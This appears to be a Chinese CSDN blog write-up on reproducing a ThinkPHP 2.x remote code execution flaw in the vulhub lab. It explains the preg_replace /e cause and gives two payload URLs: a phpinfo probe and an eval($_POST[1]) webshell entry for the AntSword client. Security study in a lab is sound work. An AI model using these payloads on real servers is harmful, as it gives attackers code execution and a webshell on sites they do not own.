thinkphp2.x 远程代码执行漏洞

本文介绍了在vulhub靶场中进行漏洞利用的过程。首先说明了vulhub靶场的配置,包括安装docker及docker compose、拉取镜像等。接着分析了thinkphp中preg_replace函数/e参数导致代码执行漏洞的原因,最后介绍了利用该漏洞弹phpinfo界面和用蚁剑链接的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

       小白飘过,跟随大佬脚步的一天[doge],具体实现过程是在靶场(vulhub)中进行的

目标:刷完vulhub靶场( 希望 有生之年)

 ———————————————————————————————————————

先决:vulhub靶场的配置

(1)安装doker以及dokcercompse

这里各位老师的博客很多,不在重复造轮子呃

只说需要注意的几点:

docker compose安装可以用pip安装比较方便。

(2)拉取vulhub的镜像

链接:https://github.com/vulhub/vulhub

不要用!不要用!git 克隆

慢的无法想象,说实在话。直接下载zip包,传进去即可

(3)解压vulhub后进入对应的靶场,并拉取镜像,启动doker

docker-compose up -d

_________________________________________________________________________

重点!!

造成漏洞的原因:

thinkphp中preg_replace(正则式子/e,执行代码,待匹配字符串)中的/e,参数导致代码执行

preg_replace(),导致远程代码执行。有大佬讲过基本原理,就不重复造轮子了(懒了.jpg):深入研究preg_replace \e模式下的代码执行_preg_replace /e_paidx0的博客-CSDN博客

文章内,基本讲了三个问题:

1.造成preg_replace() /e 远程代码 的基本原理

2. 正则匹配的规则

3.{{$phpinfo()}} :此种形式的函数为什么可以被解析(1. 最外层的花括号代表了其内是变量标识 2.内部的花括号与$组合代表了变量形式 )

重点:如果我们想要利用preg_replace函数实现代码执行,我们必须可以控制待匹配字符串的内容变为我们想要执行的代码。具体原理(前面的区域以后再来探索吧!),我们只需要记住由于thinkphp的MVC架构,所以我们请求的url会被preg_replace收入为待匹配字符串处。url则为我们可以控制的字符串

———————————————————————————————————————————

利用:

0.弹phpinfo界面看是否可以利用

http://your ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

此处可以为?s=/a/b/c/... , uri内只要有{${phpinfo()}}字段即可

蚁剑链接:

/index.php?s=a/b/c/{${print(eval($_POST[1]))}}

这里学到了!preg_repace /e的代码执行,可以用打印eval函数的形式,达到写入临时webshell可以被蚁剑链接。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值